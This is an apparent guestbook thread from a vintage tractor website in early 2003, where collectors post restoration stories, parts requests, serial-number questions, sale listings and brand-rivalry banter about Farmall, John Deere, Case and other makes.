Milt Flannery wrote on Monday, March 31, 2003 (PST):In 1949 my oldest brother, Wink, was head mechanic at Mountain Dew Coal Company (Case Dealer). For Christmas in 1949 he gave me a toy Case tractor & wagon. In March of 1950 he died of a massive heart attack. I also had a complete set of John Deere farm machinery. In 1960 our house burned and I managed to get the Case tractor out and the other toys burned up. The toy Case is built like a Model SC or DC. Just recently I saw the front of a Case tractor in a shed on a barn at Warsaw, Ky. I stopped and asked the gentleman if I could look at it. He said that would be ok and if I liked it he would put it in my home. I bought the tractor and I have it at home and am in the process of restoring it. It looks just like the toy tractor my brother gave me in 1949.
tractor wrote on Monday, March 31, 2003 (PST):iam looking for a siris one field marshal in mint condition how much will it cost me i whant it looking like its bran new.
michael wrote on Sunday, March 30, 2003 (PST):I have a 1943 LA that i bought from my uncle he bought it new and farmed with it for years he has called it a Rice King is thier any thing to that or is that just something he came up with.The tractor is in areginal condishion and in mint condishion i was also wondering the value of the tractor.thanks michael (tractor is not for sale}
Scott Filson wrote on Saturday, March 29, 2003 (PST):I just bought and restored a 1948 9N. It's been a fun and challenging project. My tractor will will have a pretty easy life now, mownig 5 acres and doing the garden. I did not try to stay with original colors on this because I like the old ford red and didn't want an all grey tractor!! Nice site here!! I'll be back.
H. Fry wrote on Saturday, March 29, 2003 (PST):Just purchased a really nice Case SC last week at a junk auction, (3-24-03) I could not stay there so I put a reserve price on it. they called that evening and said I had the last bid. this tractor was in really nice shape not even a mark or ding on the tin! It has the older style 3 pt hitch,(works) and even the original hand crank under the seat!. has the pto cover but no fenders, but the brackets are there. I really wanted the tractor for the engine and clutch to put in my Case SI unit I purchased a year ago.. the SI WAS a military unit as it has the all the original brass plates on it still saying it was in the airborne unit and tells the date and tractor weight. what a find! but,,, I since the SC works so good, I don't have the heart to dismantle it, so I guess I will just take it to the local tractor pull and beat the Farmall H's.. Have a good day!
tommy miller wrote on Friday, March 28, 2003 (PST):I have a 1938 3 wheel, restored 1 year ago, very nice, would like to trade for good 4 wheel tractor.
Brett Isaacson wrote on Friday, March 28, 2003 (PST):My dad recently purchased a 1949 Case VAI and he is wondering if it originally came with duals.
Ryan wrote on Friday, March 28, 2003 (PST):I was given a IH 300 Utility Tractor by my father. I am wanted to replace the gas fuel tank that is in bad shape and am having trouble finding one. If anyone has or knows where to get one please let me know, thanks. This is just the begining of the restoration of the this tractor so any comments would be very helpful.
Derwin wrote on Thursday, March 27, 2003 (PST):LOOKING FOR PARTS! Can you buy rebuild kits for the power steering units? How about pins for a backhoe unit? Does anyone know how hard it is to replace the seals in the hydro cylinders.
Marshall wrote on Thursday, March 27, 2003 (PST):I just bought an H, How do you find out the year? Is it hidden in the serial number, the tag is still on the side. The tractor is straight and running, second owner sold it to me today, I even met the first owner. Any input would be great. Thanks
Barry Andrews wrote on Wednesday, March 26, 2003 (PST):Hi, I see photos of a W4 that is similar to my Super BWD 6..Is mine a UK manufactured tractor Photos of the hydralic arms would be most useful,,,,Barry
O.B. Works wrote on Wednesday, March 26, 2003 (PST):I have One that looks similar to the picture...the only numbers attached to the engine plate are "15945 SJ" also a casting number on the transmission housing 360 486 R3 any help with the year or model would be appreciated.
DARREN PONCE wrote on Wednesday, March 26, 2003 (PST):wanted ponys full tractors or parts in decent condition if possiable.THANKS
David Bacastow inTN. wrote on Tuesday, March 25, 2003 (PST):I inherited my grandad's 37 F20 in 93 when my dad died.I have both sets of wheels iron & rubber. I ran this tractor when I was growing up originially in Arkansas city Ks.On a160 acre farm east of town. It would out pull dad's newer Massey Ferguson 444.It would climb a tree if it could get traction.
Hiram McAlhaney wrote on Monday, March 24, 2003 (PST):I am looking for a Allis "G" tractor. I'm in S.C. If any one has one or knows about one in my area, please send email about the condition and price.
Mike Forrester wrote on Monday, March 24, 2003 (PST):I am restoring my Dad's JD 2010 Row Crop Utility. The PTO runs until you hook something up to it. Anybody have any idea what the problem is before I break it down? Also, how to you install a hydralic hook-up to the 2010. Great tractor so far.
Theresa wrote on Monday, March 24, 2003 (PST):Looking to purchase an AC D17 for my husband as a surprise. We are new to farming and would need the basics to come with. Any ideas where I can find this type of tractor for sale. Interested in the looks and the history. Thanks.
Ralph wrote on Monday, March 24, 2003 (PST):Have Oliver 60 Industrial Serial # 460520. Looking for parts - battery box, left and right grille sections, metal seat back. Any info would be appreciated
Albert wrote on Monday, March 24, 2003 (PST):I have a WC with a mounted cultivator. The fenders have some dents,rear tires are brand new.Seriel # 78579; can someone tell me how old,history,info,and value on this tractor?
Ed Boyd wrote on Saturday, March 22, 2003 (PST):To John Northingotn's add; I would like to know what you are asking for the MT John Deere's. I would like to find one to mount belly mower to mow my acreage around the house.
andy wrote on Saturday, March 22, 2003 (PST):CHAD;look for re-prints of original owner/operator manuals at your local I.H. dealer, I found mine there. DAVY; 2 point is same as fast hitch. No new sales that I know of. Look at the sales,auction sights linked to this web-sight, also auctions and local I.H. dealer trade-ins. GREG; the only thing rare about the tractor is the fact that the TA is still working. Most no longer work, but tractor is not affected by lack of working TA, they still will run forever. Just be ready to give it plenty to drink, they burn alot of gas. About the loader, not sure, think it's the I.H. model 3000 see some entries above in this column. Many questions will be answered.
david parker wrote on Saturday, March 22, 2003 (PST):to shane wetherell you are wrong. there is an M MT MTW. the m is a one row tractor, the mt is a two row tractor with a narrow front, the mtw is a two row wide front. (mt does not mean tricycle front end. Check your history.
willis Desjardine wrote on Friday, March 21, 2003 (PST):I'm looking for engine parts for a Fordson Dexta tractor with a 144 Perkins diesel engine model 1958 to 1964 serial # ? please contact me at the e-mail address above or call me at 1-800-752-6706 ext.122 or page me at (337)475-0322. Thank You Willis Desjardine
Gary Lynn Monroe wrote on Thursday, March 20, 2003 (PST):I have just purchased a 1947 M. Its my first tractor and what a jewel it is. My only problem is that it has no three point hitch. I dont even know if it is possible to put one on it?? If it is and anyone has any information or better yet a picture of one I would greatly appreciate and help I can get. Thanks.....Lynn
806 man wrote on Thursday, March 20, 2003 (PST):I have a 560 gas. My uncal and I put a sicsl mower on the 2 point. It sure runs graet. I have a frend the at has a 560d he pulled it for his first time when he was 16. He pulled it in 3 gear and had the torquc back. Just abuot killer it off. Only ih in the class and won. It is used for pulling, agering, moving box it land scrapers out of the shop mag buy raveling inc of melven ia. And most 560's in my area wount run a silige blower but his is turnd up so far it will. He drovet around the night befor the pull and to some 4-H medings. SO GO 560 PEOPLE.
806 man wrote on Thursday, March 20, 2003 (PST):I have a 560 gas. My uncal and I put a sicsl mower on the 2 point. It sure runs graet. I have a frend the at has a 560d he pulled it for his first time when he was 16. He pulled it in 3 gear and had the torquc back. Just abuot killer it off. Only ih in the class and won. It is used for pulling, agering, moving box it land scrapers out of the shop mag buy raveling inc of melven ia. And most 560's in my area wount run a silige blower but his is turnd up so far it will. He drovet around the night befor the pull and to some f-4 medings. SO GO 560 PEOPLE.
806 man wrote on Thursday, March 20, 2003 (PST):My 806 would bet the balls off any john deere. So would any ih tractor. The 806 and 856 are good tractors. But the 806 will never go down aginst any john deere. If any one has a 806 with a strate pip will it trow a flam. My 806 will ever sins it came from the deler. My dad is the sconed oner and it was the guy's bigest tractor. His naber told me that it would come over the hill and be pulling the plow and it would be throwing the fiam. Then when night came he could still tell were he was cuose of the flam. I am 14 and have drove every siries of ih tracters from the F-20,B,M,H,SUPER MTA,560,606,806,856,1456,1066,1466,1086,1486 RED POWER,5288,7140, and a john deere A,B,4630,4640,8430, and I regret driving the jd's. SO GO RED AND STAY OF JOHN IN THE SHOP ALL THE TIME DEERE PEOPLE
806 man wrote on Thursday, March 20, 2003 (PST):My 806 would bet the balls off any john deere. So would any ih tractor. The 806 and 856 are good tractors. But the 806 will never go down aginst any john deere. If any one has a 806 with a strate pip will it trow a flam. My 806 will ever sins it came from the deler. My dad is the sconed oner and it was the guy's bigest tractor. His naber told my that it would come over the hill and be pulling the plow and it would be throwing the fiam. Then when night came he could still tell were he was cuose of the flam. I am 14 and have drove every siries of ih tracters from the F-20,B,M,H,SUPER MTA,560,606,806,856,1456,1066,1466,1086,1486 RED POWER,5288,7140, and a john deere A,B,4630,4640,8430, and I regret it. SO GO RED AND STAY OF JOHN IN THE SHOP ALL THE TIME DEERE PEOPLE
David wrote on Thursday, March 20, 2003 (PST):I now own a 1956 Fordson Major which my father-in-law purchased in 1965. It still has its original blue paint and orange wheels. The front wheels are cast not pressed steel. It is very reliable and suits my 50 acre hobby farm.
Doug Edwards wrote on Tuesday, March 18, 2003 (PST):Allis Chalmers 160 – Features live PTO, live hydraulics, a Category II 3-point hitch, a 40 HP Perkins 3-cylinder diesel engine, differential lock, power adjustable rear wheels, and power steering. Very good condition, used very little over last 4 years, recently replaced transmission, engine runs well--always starts with no problem, and good tires. Located in Lawrenceburg, TN (70 miles SW of Nashville). Selling for $5300. Cost from tractordata.com listed at $6215 and average price at auction is $6000.
Aaron Bentley wrote on Tuesday, March 18, 2003 (PST):to Carlos Cadena the B farmall tractor doesnt have a water pump.they use whatis called thermosipion cooling which means warm water rises to the top of the radiator and as it continues through the radiator cooling becomes more dense. As it continues back into the block where it is heated again and rises back to the top again to the radiator.If you are filling it to the very top it will occasionly burp a little fluid ,but 2 quarts is a little much, you might need to have the radiator flushed or rodded.
chad skelton wrote on Monday, March 17, 2003 (PST):i own a 300 utility . great tractor.does all the small time farming that is necessary,baling plowing,the works. paid 4000 with plows brush hog, back blade, wheel wheights looking for an operators manual if anyone comes across one thanks
ben wrote on Monday, March 17, 2003 (PST): Sweet tractor I know a guy with a black stripe ready to pull
howardyoder wrote on Sunday, March 16, 2003 (PST):Just got what i believe is a 1020 thats in pieces am going to need all the info i can get. Do you still have to use babbit for the bearings or have they come out with some other replacement bearings? Also how do you see the answers to the above Questions?
justin kubesh wrote on Sunday, March 16, 2003 (PST):great looking tractor. Great investment
Jim wrote on Friday, March 14, 2003 (PST):I purchased a Massey-Harris 44-6 last year for $850, with new paint and running. I s this a rare tractor? And about how much is it worth?
Mark Ledford wrote on Friday, March 14, 2003 (PST):I am interested in Farmall Cubs. Next year, I will probably buy some type of older tractor, and a Farmall Cub would be my first choice. If you have a Farmall Cub that you are selling for a decent price, please notify me. Thanks.
Dale Sieverding wrote on Friday, March 14, 2003 (PST):The 10's are a good work tractor in the winter, but the 1456 is even better in the summer.
Diana Alvarez wrote on Thursday, March 13, 2003 (PST):Trying to gather information on a model 646 Case small tractor. I have had no luck. Can you help?
Kenneth Kracht wrote on Tuesday, March 11, 2003 (PST):I have a B International with a single front wheel. Sheet metal good, I don't have a serial number today. It maybe for sale. Also have a 1530 and a B with a narrow front and a H with a narrow front and a M with a wide Internationl front, and two C International's. That is my International collection.
weston poste wrote on Monday, March 10, 2003 (PST):dear sir/mam I have a 193? farmal reg and a f 20 can you tell me the gross weight of this tractors I need to haul them from S.d to W.Y thank you wes.3/10/03
mean green wrote on Tuesday, March 11, 2003 (GMT):I also forgot to mention that driving red tractors can make your spelling skills go down hill,That's also the only way an IH might be able to outrun a Deere,Being pushed down hill!!!
mean green wrote on Monday, March 10, 2003 (PST):I also forgot to mention that driving red tractors can make your spelling skills go down hill,That's also the only way an IH might be able to outrun a Deere,Being pushed down hill!!!
leandro zembo wrote on Monday, March 10, 2003 (PST):Hola muchachos, soy de Argentina , y les cuento que tengo un Ferguson 1949 en muy buen estado. Pero tengo un problema con el sistema hidraulico y me gustaria saber si me pueden mandar por mail el despiece de la parte hidraulica y tambien quiero saber la potencia (hp) del motor original de gasolina. Muchas gracias, Leandro La Plata-Argentina
Bill Tankersley wrote on Monday, March 10, 2003 (PST):In 1947 my father purchased a new B.F. Avery model V form Montgomery Ward in Baltimore. We used this tractor on our truck crop farm till 1958. My dad sold it to a Mr. Lou Cost. I delivered it to his farm in the Back River neck area of Baltimore County. In the summer of 1997 my son (Rick)and I went looking for the Avery tractor. Mr. Cost is now deceased, but we found out that a neighbor had the Avery tractor. We pruchased the tractor from him.It had been setting in the woods for about 10 years and in very poor condition. It took us two years to restore the Avery.There were many hours of mechanical repairs ,sandblasting and painting.We rebuilted the tractor complete. In 2001 we won first place in the Forth of July parade Kingvilles MD. and first place at the Mason and Dixon Fair Delta PA. If anyone needs inforatoin about Avery tractors, where to get parts or help with problems in restoring Email me I will try to help you. There is a B.F. Avery Collector & Associates address is 14651 S. Edon Road Camden, Mi 49232. You can also check there web page at www.horizonview.net/~kault195
Kevin wrote on Sunday, March 09, 2003 (PST):I've been wanting to get into the tractors for a while. I grew on my grandparents small farm in Northwestern Indiana and now I own the acreage. I just purchased my first tractor a 1942 Farmall H. I lucked out the previous owner took all the original sheet metal, headlights, and parts an stored them in his basement. I planning a restoration while using it in the field. ((I'm looking for any info on clubs or any other owners in Northwestern Indiana, Lake County)). I've restored cars, but this is the first tractor.... GREAT SITE!!!!
mean green wrote on Sunday, March 09, 2003 (PST):I will have to comment,Most of you red guys are right,The IH tractor line was a good one,But,John Deere has this one advantage,SOLID,STABLE,STILL JOHN DEERE!!!!
Chris Davis wrote on Sunday, March 09, 2003 (PST):chris davis 03/09/03 I have a dc case tractor and i was wondering what year it was built the s/n is 8033100 when i bought the tractor the hood and fenders were the same colors as the old 430 cases and i was wondering if this was the color it was supposed to be if you can help me my phone number is 1-276-445-5059 after 5.00pm
Mark F wrote on Saturday, March 08, 2003 (PST): I have a 1939 F-20 on 13.6-36 Firestone field &road tires. She has 3 7/8 "high altitude pistons , a super good valve job, and a nice tight governor. She will pull 3-14 7" deep in 2nd gear in black silty clay loam soil. I bought the F-20 in 1979 when I was starting high school. Parts are easy to find for these . Find an old IH dealer(one that has been in business since before 1950), they sometimes have the parts in inventory. Ask for the oldest parts man , one that still knows how to look at a parts book and read the old file card system. They,ll never find parts in Case's computer system.
Travis Moore wrote on Friday, March 07, 2003 (PST):I am getting ready to restore my grandpa's first tractor, a 1948 c, but am havin a bit of trouble finding information on the net. I am also wondering if the conversion to the two point is costly. Any information would be helpful. Thanx guys.
Justin Williams wrote on Friday, March 07, 2003 (PST):I have a F20 that was my great-grandfathers. My grandmother was driving this tractor when my grandfather asked her out on their first date. Myself and my family are looking to restore the F20 soon.
Linda Ezzat wrote on Friday, March 07, 2003 (PST):Can anyone tell me what the horsepower is on a Case 530 Diesel tractor.
Bill Tankersley wrote on Friday, March 07, 2003 (PST):My son (Rick) and I purchased a 1937 Silver King model R44 Oct 2002.Tractor was not runnig.Cleaned the carb, point ,installed new plug wires. Runs great, no somke.Do have a problem with the clutch. Can not get the tractor in gear.Have not worked on it due to the cold weather.The sheet metal is in very good condition, was keep in a barn.It is very tight I don't think it has many hour on it.Has original rear tires with diamomd tread, very poor condition.This was an estate sale and the man son claims his father purchased the tractor in 1950. He used it to pull a set of gang mowers.I also got the plow with the tractor, 16 inch one bottom. I need a drawbar for the tractor. I want to replace the rear tires and use the tractor to pull at the area shows.
Larry Ginter wrote on Thursday, March 06, 2003 (PST):I have found a AC 440 all wheel drive for sale the party who has it said to make an offer. It runs good has good rubber and sheet metal is straight paint not bad a good cleaning would make it look better. Does anyone out ther have any idea what this tractor is worth or where I could go to find out please e-mail me Larry
Bill Radil wrote on Thursday, March 06, 2003 (PST):Got a kick at reading some of the comments. I have owned both F-12& F-14 and can tell you that if I ever had to do any real farming again and I was to choose between the two I would take the F-14 hands down. The rpm difference really makes tractor out of it. I remember an old friend of mine who once had an F-12 and sold it to buy a JD B unstyled(I know shame on him!)I was plowing with my first F-14 I had owned. I was using his AC 2x12 plow and we were in some pretty hard gound. My friend was riding along and we were plowing a good 8 inches deep. I had the F-14 in 2nd gear and pulling it with NO problem. My friend said boy this b*#ch really has the sauce. One the best compliments a guy can get from one of the green guys.
Paul Connors wrote on Thursday, March 06, 2003 (PST):I have a big interest in the old marshall tractors. There are about 4 or 5 in my local district of Lockington Victoria Australia. One of my mates has a series 3 Field Marshall fully restored. Down a few blocks from where I live there is an old farm that has two remains of field marshalls which wouldn't take too much to get going.
Lisa Doering wrote on Thursday, March 06, 2003 (PST):HELP! I need one of these Oliver Super 66's between years 1954 and 1958. I'm on the hunt for a gentleman here in Nebraska who has been searcing for this model for quite some time. Willing to travel to pick up the tractor, any condition, but of course we would prefer it running. Please contact me asap. Thanks!! Lisa
Derwin wrote on Thursday, March 06, 2003 (PST):I found a 300 utility with a loader and back hoe (gas) for 3000. I'm gone to go loook at this weekend and was wonder if any one could point out some key thinks to look for. I plan to use to around my property to dig foundations and drains ditches. Will this tractor do the job. Any input would be nice. Thanks.
Wesley Turner wrote on Wednesday, March 05, 2003 (PST):I just recently bought a fully restored 1949 Pony and would like to know how to hook-up and use the cutting plow attachment and the harrows. It has the original sunfower mowing deck currently on it. Any help would be geatly appreciated.
Jerry wrote on Wednesday, March 05, 2003 (PST):I have a TO-20 that I purchased 34 years ago. I also have 11 other restored tractors. If I had to get rid of all but one I would the fergie.
jack wrote on Tuesday, March 04, 2003 (PST):I have a super 66 with loader for sale..$2000.00 and she's all yours..Runs good..360-494-7271..Located in Selah, Washington..98942[[bout as ugly as your picture]..!
Danny Berryman wrote on Tuesday, March 04, 2003 (PST):Super nice tractors 440 is rarer than Super 44. with only 700 being produced. 500 in 1960 and 200 in 1962
alan wrote on Tuesday, March 04, 2003 (PST):I would like to know if anybody has pictures of a case vai tractor that sinclair had. it was painted green with a highway mower on it thank you
Gordon Danielson New York Southern Tier wrote on Tuesday, March 04, 2003 (PST):I have the opportunity to buy a D-15 and wonder if anyone can give me an idea of the spec differences between a D-17 and the D-15. I had a D-17 when I ownded my dairy farm and wish I had never sold it when I sold the farm.
Ashley wrote on Sunday, March 02, 2003 (PST):I am looking for an Oliver Super 99 Gas or a Super 44 Gas. If you or anyone you know have one of these tractors for sale please e-mail me.
David Weaver wrote on Sunday, March 02, 2003 (PST):My Grandfather had an H, two As, two Bs, two 620s, two 3020s, a 4010 or 4020 (can't remember which), and a 4430. Of course, he didn't have all of these at one time. Unfortunately, he passed away about 5 years ago, but my grandmother still speaks fondly of the old H he had. She never let anyone learn to drive on a tractor on her watch that didn't have a hand clutch. He got his H in 1942 during the war, and had to jump through a lot of hoops to get it. He taught me a lot of lessons about hard work, and one of the things I remember most is that he said 'if it isn't green, it isn't worth a damn'. I live in the city in an apartment now (yeah, it's like being in jail) and I haven't heard a popper in years. I have to admit I get a little jealous when I see all the posts of people restoring old tractors. Some of my favorite memories are of heading to friends houses and taking a couple of Johnny Poppers out across the farms and hitting fishing holes. I can't think of a better way of getting from pond to pond.
Philip Fiskness wrote on Sunday, March 02, 2003 (PST):I have been restoring Allis Chalmers tractors for 13 years and am looking for a hood for a WD 45 diesel tractor.Was raised on a farm have a long history of AC tractors.
Jimmy King wrote on Saturday, March 01, 2003 (PST):I am 61 my dad was born in nov1914 My Granddad bought his first tractor new in 1929 it was a regular farmall I have heard dad tell about going on the other side of town about a mile & ahalf to his uncle's farm to plow proabley a direct hitch 3 disc plow. Granddad traded this tractor in 1939 for a model H. I have a friend whose dad bought a regular about the same time granddad did. each one always they bought the first sold in Greene Co. Mo. my friend still has his and uses it to plow his garden each year.
Levi Ralston wrote on Saturday, March 01, 2003 (PST): Nice looking tractor great work. PS.I am looking for a wide f-12 front end.
Peter Bartoldus wrote on Friday, February 28, 2003 (PST):I currently own a Russell Standard #2 pull type grader that I want to restore. Does anyone have parts or information? Contack Pete at barbpete at islc.net
Joe Powell wrote on Thursday, February 27, 2003 (PST):i'm looking for a g-1000 vista tractor either lp or diesel to restore. the neighbor has one and won't part with it. i first drove the vista as well as his g-900 and 1350 and 1355 mm when i was young. i liked the vista the best and won't one of my own,,, thanks,,, joe powell.
Miles Arnold wrote on Thursday, February 27, 2003 (PST):What was the actual seat for a Allis chamlers B
Miles Arnold wrote on Thursday, February 27, 2003 (PST):The Waterloo boy looks like a very stout and sturdy tractor, what was the waterloo boy's maxium pulling power
Nelson wrote on Thursday, February 27, 2003 (PST):I just bought a ZB. How do I tell if the Model # has a third letter in it? I am looking for fenders and lights for this tractor.This is my second Moline.Am thinking about pulling it but don't know the horsepower or the weight.
Don wrote on Thursday, February 27, 2003 (PST):We have aqired a Fordon Major Diesel serial #eiadkn6015 we would like any information you can pass alon on this tractor thanks for any help. The third carictor of my e-mail address is a zero not a o if you are sending a e-mail , thanks Don
Ryan wrote on Wednesday, February 26, 2003 (PST):Well I just got Allis home today buut I'm having trouble finding the serial number. Can somebody tell me exactly where to find it?
Duff Matson wrote on Wednesday, February 26, 2003 (PST):I have an unrestored HG68 Oliver Cletrac "high track".No mag,carb,govenor.manifold has a hole,engine may be frozen.Transmission case cracked,maybe beyond welding.One front arm or axle is broken where it touches wheels.Is this worth restoring?
Etano wrote on Wednesday, February 26, 2003 (PST):My dad has a MM G1000. That tractor is the best starting tractor. It is a simple tractor to work with. Everthing is out in the open to work on. MM made a great tractor!!
Etano wrote on Wednesday, February 26, 2003 (PST):We have a 560 diesel Tractor. That tractor can get up and pull! The tractor sounds like a beast going down the high-way.
LeRoy Diede wrote on Monday, February 24, 2003 (PST):I have a 1947 S case that my dad bought in 1956 and has been in the family ever since. About a year ago I took it all apart and rebuilt it completely new pistons, bearings, new clutch, new drive chains, completely sanded down to bear metal and repainted. Will have it done in about a month, just in time for the first tractor show in May
Etano wrote on Monday, February 24, 2003 (PST):I have a 1066. it is the best tractor around. Mine can pull a 6 bottom plow with out any trouble whats so ever!
joe wrote on Sunday, February 23, 2003 (PST): In 1949 my Dad bought a new model B,and new vanbrunt grain drill,for 1350.00 and traded in his early styled B my Dad's uncle liked the 49' B so much that the next spring he bought a new B my uncle had the B until the mid 60's when the tractor was sold. then in december of 2002 the farmer who bought the tractor was gracious enough to sell it back to me for the price he bought it for, and now I'm back in groove of tractor restoration. and some day it will be my son's fun.
Karl Hardin wrote on Sunday, February 23, 2003 (PST):We have a 9N tractor unknown year, I am in need of a camshaft gear that presses on and has 44 teeth. anyone know what I have and how or where to find a replacement? All help appreciated.
Lenny Hooks wrote on Sunday, February 23, 2003 (PST):My dad had one of these. It was a very powerful little tractor. I can rember it making our neighbors Farmall H look real foolish.
badger bob wrote on Sunday, February 23, 2003 (PST):just bough a 65 140 last nov. its yellow was a mower tractor for a town not to far away.it has no foot feed so its not a industrl. spok with a frend that owns red power mag. he said that it coude be orded red or yellow. mines yellow. it will be red when the snow melts. mine dos not have a ajustabel front axel. is this comon?
Larry Mayer wrote on Saturday, February 22, 2003 (PST):I found some old 16mm film that my father made in 1948 when he was a salesman for a tractor distributor in SW Minnesota after WWII. It is a black/white home movie demo tape of a Massey-Harris Pony, high crop model with sprayer attachment. It shows the manueverability of the little jewel, as well the original lettering of the "Pony" insignia on the top/front radiator housing. I transferred the film to VHS. Copies are available for sale.
John Adams wrote on Saturday, February 22, 2003 (PST):I have found ac tractor it is call a thresher man specail it apears to be two sides bigger than the A allis it may have a 5 or5.5in.bore and 6+in stroke and run on karesen would like to know what size it is please email be john_bill_adams at yahoo.com thanks
Ted Arndt wrote on Saturday, February 22, 2003 (PST):I've got a G707, bought it used in '76. I've used it to do all the field work, disking, cultivating, knifing, everything. It worked fairly good, a little clumsy when cultivating corn, so you had to be careful on 30" rows. The only thing I've had to change on the engine was the fuel pump but everything else is original, and it's still running, and I've still got it. It was a damn good tractor for what I need. I'm crazy about the old MM tractors and working to restore 3 of them, GB, UTU, and a UB (they're all gas engines). It's work but I like it.
Aaron Patterson wrote on Saturday, February 22, 2003 (PST):I am looking to sell my two Cub Lo-Boy tractors with Woods belly mower, sickle bar and snowplow with tire chains. Asking $6,000. Central PA.
Rich wrote on Friday, February 21, 2003 (PST):My father-in-law just promised me a Farmall BN that he bought from a neighbor. I haven't had a chance to go out and see it yet. Could somebody tell me roughly the dimensions of the tractor. ie. How tall, how long, how wide. -- Thanks, Rich
Bill McLAUGHLIN wrote on Thursday, February 20, 2003 (PST):Seeing your 730 brought tears to my eyes,when I growing up all we had on the farm was John Deeres, but after I served in the army I came home and my cousin Jack and I went into farming together we were working over 500 acre with two 730 diesels. one like yours and one stanard. never did the two tractors fail us we worked together for 7 years and when jacks health started to fail we got out of farming, we sold both tractors for more than we paid for them, Jacks dead now and I miss him dearly, every time I get around 730's I cry like a baby thinking about the time in my life I was working not only with my cousin but my best friend
JimInBuffalo wrote on Thursday, February 20, 2003 (PST):I just bought my first Cub from a friend who is giving up his small farm. I paid $900 for it and it was completely restored 2 years ago. It came with a belly mower, sickle-bar mower, snow plow, various cultivators, and seed planter. I has all of the original parts intact and is beautiful to look at.
David wrote on Wednesday, February 19, 2003 (PST):I need the butterfly assembly for the choke on my IH300U carburetor (gasoline). The backfire flapper is gone and you can guess where it went.Does anyone know where I can get any carb. parts. Thanks
Ryan wrote on Tuesday, February 18, 2003 (PST):A friend of mine is giving me a wd45 in exchange for some work. can anybody give me some information on where to find parts or decals? Any ideas on where I can get new gears for the transmission?
Arthur B. Clark Georgia Southwestern State University wrote on Tuesday, February 18, 2003 (PST):University has a 1949 8N that we would like to restore for the school's centennial in 1906. Looking for someone close to Americus Ga to restore it. Americus is located about 135 miles south of Atlanta, 65 miles east of Columbus and 45 miles north of Albany. Would really like to get started on the restoration. Please contact me if you can help.
CHUCK SMITH wrote on Tuesday, February 18, 2003 (PST): Does a 1944 Farmall A, have a PTO, and/ or hydaruclics? This same tractor missing seat, carb, mag, air cleaner, be worth $600.00?
Burt Rocker wrote on Monday, February 17, 2003 (PST): My dad purchased an oliver 70 during the war, it was on steel, but was later converted to rubber. It was started on gas and then switched to tractor fuel. which we later converted to gas, we also had a couple of more road gears added. I learned to run this tractor as a young boy, we kept up till the late 50's.
Glenn wrote on Monday, February 17, 2003 (PST):I drove a F-12 from 1040 to 1949. Not sure of the year it was but it wasn't red. Couple unique features. We cut the steering wheel shaft off just behind the gear box, put a U joint in it and raised the wheel about 6 inches. We also had a spring-shock absorber seat on it. Anyone came across it?
Carl Portwood wrote on Monday, February 17, 2003 (PST):Hi, When I was a kid on the farm, my grandpa had a leader on his farm in Centralia, MO. Since it was small and I was about 10-12 years old, he let me do some of the little chores, hauling brush, etc. After I started, he couldn't keep me off of it. Brings back a lot of memories. That was about 1950 thru 1954.
Mike Schwarz wrote on Sunday, February 16, 2003 (PST):I have a 1930 GP #300302 it is in good shape. It is the wide model 8' wide. It has belt pully and a draw bar and a mechanical lift on the back. I paid $3000.00 for it. Can you tell me what it is worth today? Looking for equipment that was used on the lift. Looking forward to hearing from you. Thanks Mike Schwarz
Carol wrote on Sunday, February 16, 2003 (PST):My dad has a 25-15 Rumley type L tractor and is looking for parts. Does anyone know a source. Thanks
Gary Wattier 506 Willow Way Wylie, Tx 75098 wrote on Sunday, February 16, 2003 (PST):The best place I have found for a three point conversion kit for the AC D-17 and D-15 is.....Saginaw County Tractor Parts 9161 Sheridan Rd. New Lothrop, MI 48460 PH # 810-638-5787 also at www.saginawcounty tractor.com Good Luck
Philip Koubsky wrote on Saturday, February 15, 2003 (PST):i own a 1951 super C farmall that i bought off my neighbod after he had his 3rd stroke, i trackted the history and found out that origionaly when boughten it was painted Demonstrator white i have a 2 row cultivator for it and would like information on the demonstrater models and some help tracking a planter, plow and a set or rear fenders for the tractor.
Dr David Falk wrote on Saturday, February 15, 2003 (PST):I am looking for a set of fenders for a 1942 JD "H" and a one bottom play. Any ideas or comments would help. Contact me at yw E-Mail Dr Dave
Mickey Cook wrote on Friday, February 14, 2003 (PST):I need the noise cone and hood for my Super C in order to finish my restoration. Please contact me if you can help.
Jim Hatton wrote on Friday, February 14, 2003 (PST):I know my employer just bought one this summer . He just put $1000in the clutch. He also needs a new torque put in, but other than that i love that tractor. It has so much power, torque and speed. Its great for what we use it for.
Maggie Studt wrote on Thursday, February 13, 2003 (PST):My husband has a 1950 Oliver 550 gas tractor that he is wanting to sell but not sure of a price for it. It has been well taken care of and runs great(he uses it around the farm)but it just isn't big enough for what he needs it for.
Tyler Burnett wrote on Thursday, February 13, 2003 (PST):My dad and I have I4 we dont know much about it. It needs a little work. We found that some were yellow for safety.If any one has any info on the I4. Please could you contact me at chevys31 at hotmail.com. thanks
Otto Alfredo Brandes wrote on Thursday, February 13, 2003 (PST):I want to have more photos and the inscriptions of the Farmall Cub for print my tractor.
Red Herman wrote on Tuesday, February 11, 2003 (PST):I have a 1929 Rock Island 18-35 and am looking for a clutch and transmission parts. (Need other parts too.) I have other old tractors and many parts you might need . Please contact me. Thanks alot.
Eric wrote on Tuesday, February 11, 2003 (PST):I just purchased an oliver 770, year unknown, with a loader on it. The bucket tips forward on its own. Can any one tell me if this tractor has holding valve in the hydraulic system and where they would be located? Thank you.
Keith wrote on Monday, February 10, 2003 (PST):I have a very rare 1952 Pony that I am taking offers on. This tractor is a grey Pony and has every available option that was offered. It even has an original Sunflower belly mower. The tires are original with no cracks! This tractor has been kept in a heated garage since 1952 and has never been in the rain. The tractor runs as new and is a pleasure to drive. This is one of the rarest Pony tractors in the US. Tractor comes with original manuals and ad slicks showing great pictures of every implement available. email me at keith at libcom.com with offers.
Keith wrote on Monday, February 10, 2003 (PST):I have a very rare 1952 Pony that I am taking offers on. This tractor is a grey Pony and has every available option that was offered. It even has an original Sunflower belly mower. The tires are original with no cracks! This tractor has been kept in a heated garage since 1952 and has never been in the rain. The tractor runs as new and is a pleasure to drive. This is one of the rarest Pony tractors in the US. Tractor comes with original manuals and ad slicks showing great pictures of every implement available. email me at keith at libcom.com with offers.
Chris wrote on Monday, February 10, 2003 (PST):My father had a D21 on our apple farm when I was growing up. I remember the size and the hp it had....There was nothing that it couldn't pull....A great tractor..would love to find one in fair condition...
Denny Wolf wrote on Monday, February 10, 2003 (PST):Grew up on a farm in South Dakota in 60s, had John Deere large tractors, but had a Cockshutt 30 live pto, used to pull 2 side delivery rakes, 36 ft. drag, main use was in the winter -35, -45 below would always start, if not hand crank would fire right up. Great tractor, many happy memories.
